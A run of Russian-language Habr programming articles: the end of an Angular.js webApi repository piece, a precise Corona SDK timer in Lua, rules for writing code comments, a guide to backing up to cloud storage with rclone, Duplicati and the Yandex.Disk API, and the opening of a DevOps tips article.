function getById(id, category) {
return webApi.getFoodItemById({
"url": { "id": id, "category": category }
});
}
```
**Подключение репозитория в приложение**
Как уже говорилось выше, репозиторий — это сущность, предоставляющая открытые методы для управления данными через внутреннее обращение к webApi модулю.
Поэтому, нам достаточно будет вызывать конкретный метод и передать в него соответствующие параметры.
```
(function() {
"use strict";
angular
.module("app")
.controller("FoodController", FoodController);
function FoodController(foodRepository){
/* jshint validthis:true */
var vm = this;
// объявление переменных, инициализация данных
vm.foodItems = [];
vm.getAllFood = function(){
foodRepository.getAll().success(function(response){
vm.foodItems = response.data;
});
};
// получаем список всех айтемов при инициализации контроллера
vm.getAllFood();
}
// IoC container.
FoodController.$inject = [
"repositories.food"
];
})();
```
Фрагмент HTML для визуализации данных:
```
* Title: {{food.title}}
Cost: {{food.cost}}
```
Таким образом, репозиторий возвращает данные и Angular.js автоматически их подставляет во view. И мы не можем напрямую обратиться к webApi, удалив там какой-то айтем или же добавить без согласования с центральным контроллером.
```
Это повышает безопасность приложения и помогает раскрывать наружу только те методы, которые мы сами считаем нужными.
```
Заключение
----------
Мы рассмотрели вариант создания конфигурируемого и расширяемого webApi модуля для работы с Angular.js.
Данный подход поможет вам избавиться от дублирования логики в коде, сократить время на редактирование необходимого метода, а также облегчить работу со сложными запросами. | https://habr.com/ru/post/282397/ | null | ru | null |
# Corona SDK точный таймер
Всем привет. В этой краткой статье я расскажу как сделать в вашем приложении на Corona SDK таймер с приемлемым показателем точности отсчета. Так же рассмотрим в чем заключаются проблемы стандартного таймера.
В статье будет решаться следующая задача: Сделать приложение которое будет показывать время прошедшее с момента включения приложения с его обновлением 1 раз в секунду.
### 1.Очевидное стандартное решение.
Создаем стандартный таймер и выводим его тики.
```
timeout = 1000
timer.performWithDelay( timeout,function(event)
print(event.count)
end,0)
```
Вроде бы все очевидно, но в работе этого решения есть особенности:
* Во-первых стандартный таймер способен корректно и достаточно точно отрабатывать таймауты начиная с 300-400мс, а все что ниже этого значения начинает очень существенно отставать, но наш случай другой так как таймаут более указанных пределов. *Минимально возможный период тиков таймера (если указать 1 мс) 1/fps, т.е. 16.(6)мс для 60 кадров или 33.(3)мс для 30 кадров.*
* Во-вторых даже на указанном относительно точном периоде имеется случайная погрешность около 5-10 мс с каждого тика, т.е. за час набегает погрешность 15-30секунд. *Эту проблему частично можно решить отняв 5 мс от того значение которое указывается в параметре при создании таймер, т.е. вместо 1000 указать 995.*
* В-третьих если в вашем приложении будут возникать мелкие фризы вызванные результатом работы другого кода или нестабильной работой устройства, эти фризы так же будут добавляться в копилку отставания в работе таймера.
* В четвертых если свернуть приложение на какое-то время и после этого его заново развернуть, все время которое приложение было свернуто будет исключено из количества секунд работы приложения.
### 2. Хорошее решение.
Для решения проблем прошлого способа используем следующую конструкцию, в этом методе мы применяем таймер с максимально возможной скорость, но сигналом для тика таймер будет расчет опирающийся на источник точного времени системы.
```
local timeout = 1000--таймаут
socket = require "socket"
local start_time = socket.gettime()*1000--время инициализации таймера(старт приложения)
local good_time = 0
timer.performWithDelay( 1,function(event)
local new_time = socket.gettime()*1000--новая временная метка
local total_time = new_time - start_time--прошло времени с момента запуска приложеня
local num = math.floor(total_time/timeout)--количество прошедших целых периодов размером в timeout
if num > good_time then--если пришло время нового тика
good_time = num--новый тик
print(good_time)
end
end,0)
```
Разбираем особенности этого метода. Несмотря на то что мы указываем частоту тиков 1мс как было описано выше реальные кванты тиков будут выполняться с раз в 16(33)-50мс, а это и будет определять максимально возможную погрешность приведенного выше метода, погрешность будет изменяться в диапазоне 0..50мс от тика к тику, т.е. частота следования тиков будет менее стабильной чем в первом методе, но величина этой погрешности на любой дистанции (даже длиной в годы) будет одинаковой, т.е. даже через год наш очередной тик будет иметь погрешность в этих же пределах относительно самого первого тика.
### 3. Проверка результатов
Приведу пример того как можно проверить справедливость всего выше сказанного. Приведенный исходник будет раз в секунду выводить текущее время прошедшее с момента включения приложения для двух таймеров(отдельно) и показывать накопленную за время работы ошибку.
```
local timeout = 1000
socket = require "socket"
local start_time = socket.gettime()*1000--время инициализации таймера
local good_time = 0--время сокетного счетчика
local bad_time = 0--время обычного счетчика
--плохой таймер
timer.performWithDelay( timeout,function(event)
bad_time = event.count
local bad_delta = (socket.gettime()*1000 - start_time) - (bad_time*timeout)
print('Bad tick: '..bad_time, 'Delta: '..bad_delta)
end,0)
--хороший таймер
timer.performWithDelay( 1,function(event)
local new_time = socket.gettime()*1000
local total_time = new_time - start_time
local num = math.floor(total_time/timeout)
if num > good_time then
good_time = num
local good_delta = (socket.gettime()*1000 - start_time) - (good_time*timeout)
print('Good tick: '..good_time, 'Delta: '..good_delta)
end
end,0)
```
Всем удачи! | https://habr.com/ru/post/422443/ | null | ru | null |
# Лучшие практики написания комментариев к коду
Известный профессор МТИ Гарольд Абельсон сказал: «Программы нужно писать для того, чтобы их читали люди, и лишь случайно — чтобы их исполняли машины». Хотя он намеренно преуменьшил важность исполнения кода, однако подчёркивает, что у программ две важные аудитории. Компиляторы и интерпретаторы игнорируют комментарии и с одинаковой лёгкостью воспринимают все синтаксически корректные программы. У людей всё иначе. Одни программы нам воспринимать легче, чем другие, и мы ищем комментарии, которые помогут нам разобраться.
Есть множество источников информации, помогающих программистам писать более качественный код — книги, сайты, статические анализаторы. Но гораздо меньше источников посвящено повышению качества комментариев. Легко измерить их количество в программе, но качество оценить сложно, и два этих параметра не обязательно взаимосвязаны. Плохой комментарий хуже отсутствия комментария. Вот несколько правил, которые помогут вам найти золотую середину.
[Как писал Питер Фогель](https://visualstudiomagazine.com/articles/2013/07/26/why-commenting-code-is-still-bad.aspx):
1. Написание и поддержка комментариев требует усилий.
2. Ваш компилятор не смотрит на комментарии, поэтому невозможно определить их корректность.
3. С другой стороны, вы гарантируете, что компьютер делает именно то, что предписывает ваш код.
Всё это так, но будет ошибкой ударяться в другую крайность и вообще не писать комментарии.
Первое правило: комментарии не должны дублировать код
-----------------------------------------------------
Многие начинающие программисты пишут слишком много комментариев, потому что их к этому приучили. Я видел, как старшекурсники на факультете информатики добавляют комментарии к каждой закрывающей скобке, чтобы показать закрытие блока:
```
if (x > 3) {
…
} // if
```
Я слышал о преподавателях, которые требуют от студентов комментировать каждую строку кода. Для совсем новичков это *может* быть оправдано, однако такие комментарии как боковые колёсики на детском велосипеде, которые по мере роста надо снять.
Неинформативные комментарии вредны, потому что:
* вносят визуальный беспорядок;
* отнимают время на написание и чтение;
* могут устареть.
Классический плохой пример:
```
i = i + 1; // Add one to i
```
Комментарий не добавляет полезной информации и требует усилий по поддержке.
Требования комментировать каждую строку справедливо [высмеяли на Reddit](https://www.reddit.com/r/ProgrammerHumor/comments/5dhdt6/my_teacher_told_me_i_needed_to_comment_every_line/da56d6m?utm_source=share&utm_medium=web2x&context=3):
```
// create a for loop // <-- comment
for // start for loop
( // round bracket
// newline
int // type for declaration
i // name for declaration
= // assignment operator for declaration
0 // start value for i
```
Второе правило: хорошие комментарии не оправдывают непонятный код
-----------------------------------------------------------------
Ещё один способ некорректного использования комментариев — предоставление информации, которая должна содержаться в коде. Например, когда кто-то назвал переменную одной буквой и добавил комментарий с объяснением:
```
private static Node getBestChildNode(Node node) {
Node n; // best child node candidate
for (Node node: node.getChildren()) {
// update n if the current state is better
if (n == null || utility(node) > utility(n)) {
n = node;
}
}
return n;
}
```
Комментарий был бы не нужен, если дать переменной правильное название:
```
private static Node getBestChildNode(Node node) {
Node bestNode;
for (Node currentNode: node.getChildren()) {
if (bestNode == null || utility(currentNode) > utility(bestNode)) {
bestNode = currentNode;
}
}
return bestNode;
}
```
Как написали Керниган и Плогер в книге "[The Elements of Programming Style](https://en.wikipedia.org/wiki/The_Elements_of_Programming_Style)": «Не комментируйте плохой код, а переписывайте его».
Третье правило: если не можете написать понятный комментарий, то проблема может быть в коде
-------------------------------------------------------------------------------------------
Самый известный комментарий в исходном коде Unix звучит так: «[Вряд ли вы это поймёте](https://web.archive.org/web/20070220094221/http://cm.bell-labs.com/cm/cs/who/dmr/odd.html)». Его вставили перед запутанным кодом переключения контекста. Дэннис Ричи позднее объяснил, что это был не наглый вызов, а высказывание в духе «На экзамене такого не будет». Но похоже, что он сам и его соавтор Кен Томпсон сами не поняли свой код, и позднее переписали его. Всё это напоминает о [законе Кернигана](https://github.com/dwmkerr/hacker-laws#kernighans-law):
> Отладка вдвое труднее первоначального написания кода. Поэтому если вы пишете код как можно умнее, то вы по определению не настолько умны, чтобы его отладить.
Предупреждение читателям, чтобы они держались подальше от вашего кода, сродни включению аварийных огней: признание в том, что вы делаете что-то незаконное. Лучше перепишите код так, чтобы вы сами понимали его достаточно, чтобы объяснить другим. Или ещё лучше, чтобы его вообще не требовалось объяснять.
Четвёртое правило: комментарии должны исключать путаницу, а не вносить её
-------------------------------------------------------------------------
Ни одно обсуждение плохих комментариев нельзя считать полным без этой истории из «Hackers: Heroes of the Computer Revolution» Стивена Леви:
> [Питер Самсон] особенно усложнял ситуацию тем, что отказывался добавлять в свой исходный код комментарии с пояснением, что он делает в каждом конкретном случае. Одна из распространённых программ, написанных Самсоном, состояла из сотен инструкций на ассемблере с единственным комментарием после инструкции под номером 1750. Комментарий был такой: RIPJSB, и люди ломали головы над тем, что это означает, пока кто-то не догадался, что в 1750-м году умер Бах, и что Самсон написал аббревиатуру фразы “Rest In Peace Johann Sebastian Bach”.
Хотя я ценю хороший хак, но это не пример для подражания. Если ваш комментарий вносит путаницу, а не устраняет, то удалите его.
Пятое правило: объясняйте в комментариях не идиоматический код
--------------------------------------------------------------
Лучше комментировать код, который кто-нибудь может счесть ненужным или избыточным, вроде этого кода из [App Inventor](https://github.com/mit-cml/appinventor-sources) (источника всех моих положительных примеров):
```
final Object value = (new JSONTokener(jsonString)).nextValue();
// Note that JSONTokener.nextValue() may return
// a value equals() to null.
if (value == null || value.equals(null)) {
return null;
}
```
Без комментария кто-нибудь может «упростить» код или счесть его таинственным, но необходимым заклинанием. Сэкономьте время и нервы будущих читателей и напишите, для чего нужен этот код. Необходимо оценивать, нуждается ли код в объяснении. Когда я изучал Kotlin, я столкнулся в руководстве по Android с подобным кодом:
```
if (b == true)
```
Я удивился, почему бы не заменить его просто на `if (b)`, как сделал бы это на Java. В результате небольшого [исследования](https://kotlinlang.org/docs/idioms.html#nullable-boolean) я выяснил, что допускающие пустое значение булевы переменные явным образом сравниваются с true, чтобы избежать уродливой проверки на null:
```
if (b != null && b)
```
Я рекомендую *не добавлять* комментарии к распространённым идиомам, если только вы не пишете руководство для новичков.
Шестое правило: добавляйте ссылки на исходный код, который вы скопировали.
--------------------------------------------------------------------------
Если вы такой же, как и большинство программистов, то иногда вы используете найденный в сети код. Добавляйте ссылку на исходник, чтобы будущие читатели имели полный контекст, например:
* какую задачу вы решали;
* кто предоставил код;
* почему это решение рекомендовано;
* что думали об этом комментаторы;
* работает ли это ещё;
* как его можно улучшить.
Посмотрите на такой комментарий:
```
/** Converts a Drawable to Bitmap. via https://stackoverflow.com/a/46018816/2219998. */
```
Если перейти по ссылке, то вы обнаружите, что:
* Автора кода зовут Tomáš Procházka, он входит в топ-3% на Stack Overflow.
* Один из комментаторов предложил улучшение, уже внесённое в репозиторий.
* Другой комментатор предложил способ избежать пограничного случая.
А теперь сравните с этим комментарием (слегка изменён, чтобы защитить виноватых):
```
// Magical formula taken from a stackoverflow post, reputedly related to
// human vision perception.
return (int) (0.3 * red + 0.59 * green + 0.11 * blue);
```
Любой, кто захочет разобраться в коде, вынужден будет искать эту формулу. А если бы вставили ссылку, то можно было бы гораздо быстрее найти источник.
Некоторые программисты могут не захотеть указывать, что они не сами написали код, но повторное использование кода может быть разумным шагом, экономящим время и дающим вам преимущество в виде большего количества проверяющих. Конечно, [никогда не вставляйте код, который не понимаете](https://stackoverflow.blog/2019/11/26/copying-code-from-stack-overflow-you-might-be-spreading-security-vulnerabilities/). Люди копируют со StackOverflow много кода, который попадает под лицензирование Creative Commons, требующее указания авторства. Для этого достаточно указать ссылку на первоисточник.
Вы также можете ссылаться на оказавшиеся полезными руководства в качестве благодарности их авторам и ради экономии времени читателей:
```
// Many thanks to Chris Veness at http://www.movable-type.co.uk/scripts/latlong.html
// for a great reference and examples.
```
Седьмое правило: добавляйте ссылки на внешние примеры в тех случаях, когда это полезнее всего
---------------------------------------------------------------------------------------------
Конечно, не все ссылки ведут на Stack Overflow.
```
// http://tools.ietf.org/html/rfc4180 suggests that CSV lines
// should be terminated by CRLF, hence the \r\n.
csvStringBuilder.append("\r\n");
```
Ссылки на стандарты и другую документацию помогут читателям понять проблему, которую решает ваш код. Хотя эта информация может храниться в проектной документации, однако удачно размещённый комментарий станет своевременным указателем. В приведённом примере ссылка подсказывает, что RFC 4180 обновили на RFC 7111, это полезная информация.
Восьмое правило: исправляя баги, добавляйте комментарии
-------------------------------------------------------
Комментарии следует добавлять не только при первичном написании кода, но и при его изменении, особенно при исправлении багов. Взгляните:
```
// NOTE: At least in Firefox 2, if the user drags outside of the browser window,
// mouse-move (and even mouse-down) events will not be received until
// the user drags back inside the window. A workaround for this issue
// exists in the implementation for onMouseLeave().
@Override
public void onMouseMove(Widget sender, int x, int y) { .. }
```
Комментарий не только помогает понять код в конкретных методах, но и определить, нужен ли ещё этот код и как его тестировать. Также комментарий может ссылаться на систему отслеживания ошибок:
```
// Use the name as the title if the properties did not include one (issue #1425)
```
Конечно, можно с помощью `git blame` найти коммит, в котором была добавлена или изменена строка. Однако пояснения к коммитам обычно краткие, и самые важные изменения (например, исправление бага №1425) могут не содержаться в последнем коммите (который, скажем, переместил метод из одного файла в другой).
Девятое правило: помечайте комментариями незаконченные реализации
-----------------------------------------------------------------
Иногда необходимо проверять код, даже несмотря на его ограничения. Хотя может быть заманчиво не рассказывать о недостатках своего кода, лучше сделать это явно, например, в комментарии TODO:
```
// TODO(hal): We are making the decimal separator be a period,
// regardless of the locale of the phone. We need to think about
// how to allow comma as decimal separator, which will require
// updating number parsing and other places that transform numbers
// to strings, such as FormatAsDecimal
```
Стандартный формат для таких комментариев помогает оценить и адресовать технический долг. Ещё лучше, если добавите задачу в систему отслеживания ошибок и вставите ссылку в комментарий.
Заключение
----------
Комментарии не оправдывают и не улучшают плохой код. Они дополняют хороший код, предоставляя другой тип информации. Как писал Джефф Этвуд, один из сооснователей Stack Overflow: «[Код говорит вам «как», а комментарии говорят «почему»](https://blog.codinghorror.com/code-tells-you-how-comments-tell-you-why/)». Следование описанным правилам сэкономит время и нервы вам и вашей команде. | https://habr.com/ru/post/568610/ | null | ru | null |
# Бэкапьтесь в облако, друзья
Сегодня мне хотелось бы еще раз пройтись по набившему оскомину резервному копированию в облако. Рассуждать на тему хорошо это или плохо, я не буду, но хочу поделиться примерами реализаций решений для этого самого облачного резервного копирования — от готового ПО до костылей на велосипедах.
Еще не бэкапитесь в облако или хотите почитать про варианты решений? Прошу под кат.
3-2-1, поехали
==============
Считается, что история правила бэкапа «3-2-1» начинается с Питера Крога (Peter Krogh), который изложил его в книге «Управление цифровыми активами для фотографов». Вкратце напомню этот принцип:
* Копий данных должно быть минимум 3.
* Как минимум 2 копии должны быть на физических носителях разного типа. Например, одна копия — рабочие данные на дисковом массиве, вторая копия — данные на магнитной ленте.
* Как минимум одна резервная копия должна храниться не в офисе.
Лично я чаще всего использую чуть другие правила в формировании резервных копий.
*Классическая схема «3-2-1».*
Во-первых, в качестве изначальных данных я беру резервные копии, а во-вторых, не всегда удобно и бюджетно хранить их на носителях различного типа — особенно для малого и среднего бизнеса. Моя обычная стратегия хранения резервных копий такова:
* Оперативные резервные копии. Основная их цель — в случае небольшого сбоя обеспечить максимально быстрое восстановление. В зависимости от инфраструктуры храниться эти резервные копии могут даже на копируемом сервере — только на отдельном диске.
* Архивные резервные копии. Они хранятся уже обязательно как минимум на другом сервере и с историей (чаще всего — 6 ежедневных резервных копий, 4 еженедельных и 4 ежеквартальных).
* Удаленные резервные копии. Резервные копии хранятся обязательно в другом месте — на сервере в удаленном ЦОД или в облаке. Неплохой вариант — по возможности синхронизировать с удаленным хранилищем каталог архивных резервных копий.
С оперативными и архивными резервными копиями обычно все достаточно просто, разве что следует придерживаться определенных рекомендаций. Один из вариантов таких рекомендаций — под спойлером.
**Рекомендации:*** Сервер с резервными копиями по-хорошему должен быть так или иначе изолирован от рабочей сети на случай, если вдруг заведется шифровальщик.
* Неплохой вариант, когда сервер забирает резервные копии, а не получает их — на случай компрометации архивируемого сервера.
* История архивов — must have. Часто встречал инфраструктуры, где хранилась только одна резервная копия важных данных, и в случае атаки шифровальщика или потери данных «позавчера», данные в резервной копии были уже испорчены или не те, что нужно.
* Не забываем копировать не только данные, но и операционную систему.
* Теневые копии и прочие снапшоты — это очень хорошо и здорово, но это не резервное копирование. Можно их использовать как замену оперативным резервным копиям, но лучше совмещать.
* Архивы с расширением .exe или .dll — неплохой вариант обмануть так-себе-шифровальщика.
* RAID — это совсем не про резервное копирование. Совсем-совсем.
А вот с удаленными резервными копиями вопросов много. В частности, надо выбирать, где хранить эти самые копии и чем их туда забрасывать. Сначала приведу несколько примеров «где».
Выбираем уютное облако
======================
Одним из вариантов будет простая и незамысловатая [аренда](https://servermall.online/store.php?gid=11) выделенного сервера или установка своего сервера в ЦОД на колокейшн.
Действительно, «облако», которое построил сам, дает больше контроля над происходящим, да и выбор решения для хранения и непосредственно резервного копирования остается на усмотрение системного администратора. Можно даже сервер включить в домен «на земле», как я описывал в статье «[Как я базы 1С в Германии прятал](https://habr.com/ru/company/pc-administrator/blog/320016/)».
С другой стороны, контроль означает и ответственность — необходимо будет мониторить состояние сервера на случай аппаратных и программных проблем, при этом недостаток облаков в виде зависимости от интернета и вопроса доверия сторонним людям никто не отменял.
*А не ваш ли это арендованный сервер у недорогого хостера?*
Другим вариантом будет использование специализированных сервисов, которые создавались как раз для хранения резервных копий. Самым известным примером являются сервисы [Amazon Glacier](https://aws.amazon.com/ru/glacier/). Они окутаны легендами на тему используемых технологий — начиная от ленточных кассет и заканчивая blu ray-дисками и робо-руками. Но официально это недорогие HDD.
В отличие от арендованного сервера, решение уже начинает пахнуть кровавым энтерпрайзом со многими «девятками надежности» после запятой. Правда, как и многое у веб-сервисов Amazon, он обладает непростой формулой расчета стоимости. Если грубо упрощать, то загрузка данных на сервис — бесплатна, хранение — совсем недорогое ($1 за 1 Тб в месяц), а вот за получение данных придется заплатить. Как на старых ярмарках — «вход бесплатный, выход 15 копеек».
Классические сервисы хранения данных вроде [Amazon S3](https://aws.amazon.com/s3/) и [Yandex Object Storage](https://cloud.yandex.com/services/storage) тоже, конечно, можно использовать для резервных копий, но ценник в таком случае будет менее гуманный — ~$10\мес за 1 ТБ у Яндекса. Также нельзя не упомянуть решения вида «все включено» от производителей систем резервного копирования, благо своего облака сейчас нет только у ленивого. Например, [Acronis Cloud Storage](https://www.acronis.com/en-us/business/backup/cloud-storage/) как дополнение к продуктам Acronis буквально за $299 в год даст 250 Гб на своих серверах.
Третьим вариантом будет использование облачных хранилищ, которые не очень предназначены для хранения резервных копий компании, а больше ориентированы на простых пользователей. Приведу лишь несколько из них, которые на слуху:
* [Dropbox](https://www.dropbox.com/).
* [OneDrive](https://onedrive.live.com/about/en-US/).
* [Google Drive](https://www.google.com/drive/).
* [Mega](https://mega.nz/).
* [Яндекс.Диск](https://disk.yandex.ru/).
* [Облако Mail.Ru](https://cloud.mail.ru/).
Я сейчас не буду сравнивать облачные платформы, отдам это на откуп многочисленным материалам в сети. Например, статье «[Облачные хранилища для физических лиц: что выбрать и почему](https://3dnews.ru/984604/oblachnie-hranilishcha-dlya-fizicheskih-lits-chto-vibrat-i-pochemu)». Лично я для своих нужд остановился на Яндекс.Диске, потому что он один из немногих, кто на бесплатных планах умеет WebDAV, API и снапшоты (историю) файлов на диске. Ну и, конечно, у меня скопилось некоторое количество бесплатных гигабайтов на нем.
Конечно, при выборе стоит обращать внимание не только на бесплатное количество и стоимость гигабайтов, но и на лицензионное соглашение, поскольку резервное копирование условных баз 1С может его нарушать. Отдельно стоит отметить пункты, по которым облачный провайдер не несет никакой ответственности, может в любой момент удалить все файлы и ничего ему за это не будет. Зато практически у всех таких сервисов есть ПО, которое позволяет загружать файлы на сервис, что подводит нас к следующему пункту сегодняшнего повествования.
Чем грузить на уютное облако
============================
Лично мне ПО, предоставленное сервисами, не очень нравится использовать (если, конечно, речь не про специализированный сервис вроде Acronis): не всегда есть возможность настроить расписание синхронизации, да и еще жива в памяти [история](https://habr.com/ru/post/204580/), когда Яндекс.Диск при обновлении устраивал [патч Бармина](https://dic.academic.ru/dic.nsf/ruwiki/201908) операционной системе. По счастью, существуют специальные ПО, поддерживающие различных провайдеров. Как обычно, приведу несколько примеров в основном бесплатных и околобесплатных решений.
**Handy Backup**. Выдается на первой странице гугла по запросу «резервное копирование в облако». Есть платные версии различного функционала, отдельные плагины (например, для Exchange и 1C). Есть даже свое облако — [HBDrive](http://www.hbdrive.com). Но самое главное, пока еще есть бесплатная версия, которая умеет бэкапить только в облако — [Handy Backup Free for Cloud](https://www.handybackup.ru/handybackup-free.shtml). К сожалению, в рамках тестирования мне не удалось заставить ее стабильно работать с Яндекс.Диском — периодически назначенное задание не срабатывало. Сложно что-то хотеть от бесплатного решения, но от использования этого ПО я отказался.
**CloudBerry Backup**. Всем хорош [продукт](https://www.cloudberrylab.com), есть даже решения для восстановления отдельных объектов Exchange, есть поддержка множества разных провайдеров. От использования остановило отсутствие бесплатной версии и поддержки обычного Яндекс.Диска, только S3 совместимое хранилище Yandex Object Storage.
Список поддерживаемых провайдеров решения от CloudBerry Lab.
**Duplicati 2**. Уже совсем бесплатный [продукт](https://www.duplicati.com), даже для коммерческого использования. Есть под все популярные платформы от Windows до GNU\Linux, работать можно как через веб-интерфейс, так и через командную строку, также есть и шифрование бэкапов «из коробки».
Интерфейс Duplicati, поддерживаемые провайдеры.
К сожалению, «из коробки» Яндекс.Диск не поддерживается — только в режиме WebDAV. В этом режиме решение от Яндекса работает не идеально — бывают проблемы с крупными файлами. Но в списке допустимого назначения существует один, который решает эту проблему. Вот же он.
**Rclone**. Пожалуй, это мой бесспорный лидер среди прочего ПО. Утилита командной строки под множество платформ, на [официальном сайте](https://rclone.org) доступна загрузка в том числе и под редкие операционные системы вроде Plan9 и Solaris. Список поддерживаемых облачных провайдеров тоже впечатляет — в нем есть поддержка даже [Cephs](https://docs.ceph.com/) и [OwnCloud](https://owncloud.org/). И да, Яндекс.Диск в списке. Конфигурация до недавнего времени производилась только через интерактивное консольное меню, но относительно недавно появилась возможность запускать веб-интерфейс и настраивать через него.
*Веб-интерфейс rclone.*
К минусам стоит отнести отсутствие каких-либо встроенных планировщиков. Утилита работает исключительно как транспорт на\с облаков, зато и не требует установки. В том числе и из-за этого я ее использую в связке с Яндекс.Диском для переноса информации с одних удаленных серверов на другие — оказалось, что крупные файлы быстрее закинуть на облако и скачать с облака, чем организовывать прямой файлообмен. Да и подгружать резервные копии одно удовольствие. Например, чтобы скопировать в облако только свежие файлы, можно использовать команду:
```
rclone copy --max-age 24h --no-traverse D:\backups yandex:backups
```
Где yandex — имя конфига, созданного заранее, а backups — папка с бэкапами.
Более подробно принципы работы rclone разобраны в [официальной документации](https://rclone.org/docs/) и в статье «[Rclone: rsync для облаков](https://habr.com/company/selectel/blog/305514)».
В принципе, как уже полноценное решение для резервного копирования, rclone можно использовать вместе с Duplicati, выбрав rclonе как тип хранилища. Тогда Duplicati будет создавать резервные копии с использованием vss (снапшотов) по планировщику, а первое будет отвечать за загрузку резервных копий в нужное нам облако. Конечно, можно использовать и любое другое решение вроде [Cobian](https://www.cobiansoft.com/) или вовсе делать снапшоты vss командой [diskshadow](https://docs.microsoft.com/ru-ru/windows-server/administration/windows-commands/diskshadow), архивировать и заливать в облако при помощи rclone. Правда, если совсем уж изобретать велосипед, то и никакой rclone не нужен.
Создаем свой велосипедо-скрипт
==============================
Конечно, если облачный провайдер предоставляет доступ по WebDAV, загрузка данных будет простой. Пример для cmd и Яндекс.Диска:
```
net use Z: "https://webdav.yandex.ru/backup/" /User:login@yandex.ru password
rem копируем файлы любым способом
net use Z: /delete
```
Но не все провайдеры умеют в WebDAV, и есть вопросы по скорости и стабильности работы. Поэтому можно использовать API, если, конечно, провайдер предоставляет такой доступ. Разберем пример с тем же Яндексом.
Для авторизации Яндекс использует [OAuth](https://yandex.ru/dev/oauth/), поэтому для нашего скрипта понадобится завести специальный токен. Сначала нужно создать приложение в разделе «[Создание приложения](https://oauth.yandex.ru/client/new)» на сайте.
Нужно не забыть дать доступ приложению на Яндекс.Диске:
Доступ скрипта к API Яндекс.Диска.
И подставить URL для разработки в Callback URI (будет доступен после установки галочки «Веб-сервисы» на доступных платформах):
*Настройка Callback URI.*
После получения ID приложения следует перейти по ссылке:
```
https://oauth.yandex.ru/authorize?response_type=token&client_id=12345678&display=popup
```
Где 12345678 — полученный ID. После предоставления приложению доступа мы получим желанный OAuth-токен, который уже можно применять в скриптах. Вот, например, загрузка файла на Яндекс.Диск при помощи PowerShell:
```
#путь к файлу
$filepath = "D:\backup.zip"
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
$headers.Add("Authorization" ,'OAuth НашOauthТокен')
$headers.Add("Content-Type","application/json")
#получаем от Яндекса URL для загрузки файла
$UploadUrl= (Invoke-RestMethod -method GET -URI ("https://cloud-api.yandex.net:443/v1/disk/resources/upload?path=backup.zip") -Headers $headers).href
#загружаем сам файл
Invoke-WebRequest -uri $UploadUrl -Method Put -Infile $filepath -ContentType 'application/zip'
```
Организовать ротацию файлов, контроль загрузки и прочий «обвес» предлагается самостоятельно, благо API Яндекса хорошо [документировано](https://yandex.ru/dev/disk/api/concepts/about-docpage/). Но лично я предпочитаю не изобретать велосипед, а использовать rclone.
Ну и при резервном копировании в облако я настоятельно рекомендую шифровать архивы, чтоб не оказаться в ситуации как герой стихотворения известного в определенных кругах поэта Айклауда Фон Браузера, строкой которого и названа эта статья.
В комментариях предлагаю не разводить холивар на тему рациональности облачного резервного копирования, а поделится своим любимым инструментом бэкапа. | https://habr.com/ru/post/468559/ | null | ru | null |
# 5 советов из области DevOps, которые помогут начинающему разработчику
Недавно мы писали о том, как четыре фигурные скобки на 4 часа [остановили работу](https://habr.com/ru/company/skillfactory/blog/595189/) крупного сервиса Skyscanner. В комментариях тогда заметили, что скоро должность «Senior YAML Developer» может перестать быть шуткой.
К старту [курса по DevOps](https://skillfactory.ru/devops-ingineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_devops_221221&utm_term=lead) делимся рекомендациями из блога Github, которые могут помочь начинающему разработчику избежать ошибок команды Skyscanner.
---
DevOps сегодня в сфере технологий нарасхват — от CI/CD (непрерывной интеграции и развёртывания ПО) до управления контейнеризацией и подготовки серверов. Можно даже сказать, что это модное словечко... на слуху. Как разработчик вы можете быть частью команды DevOps — не обязательно готовить серверы к работе и управлять контейнерами, но создавать отличное ПО.
Многое из того, чем занимаются разработчики, инженеры DevOps и ИТ-команды в современном жизненном цикле разработки ПО, — это инструменты, тестирование, автоматизации и оркестрация серверов.
Особенно если команда участвует в большом проекте Open Source или речь идёт об одном человеке. Предлагаем вашему вниманию пять рекомендаций по DevOps для разработчиков, желающих работать эффективнее и быстрее.
YAML упрощает работу фронтенда
------------------------------
[Появившись в 2001](https://yaml.org/spec/history/2001-05-26.html) году, YAML стал одним из языков для многих декларативных автоматизаций — его часто используют в DevOps и разработке разных интерфейсных конфигураций, автоматизации и т. д. YAML расшифровывается как Yet Another Markup Language («ещё один язык разметки»). Разметка YAML легко читается. В нём слабее акцент на символах типа круглых и фигурных скобок и кавычек `{}, [], "`.
**Почему это важно?** Изучая или даже совершенствуя свои навыки YAML, вам проще сохранять конфигурации для приложений, например настройки на удобном для написания и чтения языке.
Файлы YAML повсюду: от рабочих процессов корпоративной разработки до проектов с открытым исходным кодом. Много файлов YAML и на GitHub (они поддерживают продукт, который нам очень нравится: [GitHub Actions](https://github.com/features/actions), но о нём позже).
Где бы вы ни применяли YAML — в рутинных рабочих процессах или при использовании различных инструментов с YAML — начать работу с этим языком или отточить свои навыки в YAML очень полезно. Хотите узнать больше о YAML? Попробуйте [Learn YAML in Y Minutes guide](https://learnxinyminutes.com/docs/yaml/) («Руководство по изучению YAML за Y минут»).
Инструменты DevOps помогают ускориться
--------------------------------------
Сначала проясним кое-что: инструменты DevOps — это широкое понятие, охватывающее облачные платформы, инструменты оркестрации серверов, управление кодом, контроль версий и многое другое. Всё это технологии, которые упрощают написание, тестирование, размещение, выпуск ПО и оставляют в прошлом любые опасения по поводу неожиданных сбоев. Вот три инструмента DevOps, которые позволят ускорить рабочие процессы и сосредоточиться на создании отличного ПО.
### Git
Наверняка вы знаете, что Git — это распределённая система контроля версий и инструмент управления исходным кодом. Для разработчиков это основа основ и популярный инструмент DevOps.
#### Почему?
Git упрощает контроль версий, позволяет вести совместную работу, экспериментировать с различными ветками и объединять новые функции в основную ветвь разработки.
> [Узнайте больше](https://git-scm.com/book/ru/v2/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5-%D0%9E-%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B5-%D0%BA%D0%BE%D0%BD%D1%82%D1%80%D0%BE%D0%BB%D1%8F-%D0%B2%D0%B5%D1%80%D1%81%D0%B8%D0%B9)о том[,](https://dev.to/aadityasiva/how-git-works-4o4m) как работает Git [мы заменили англоязычную ссылку на статью ссылкой на перевод подробной книги о Git. — прим. ред.]
>
>
### Облачные интегрированные среды разработки (IDE)
Знаю, произносить это вслух трудновато (спасибо, маркетинг). Проще будет — облачные IDE. Но эти платформы стоит начать изучать немедленно.
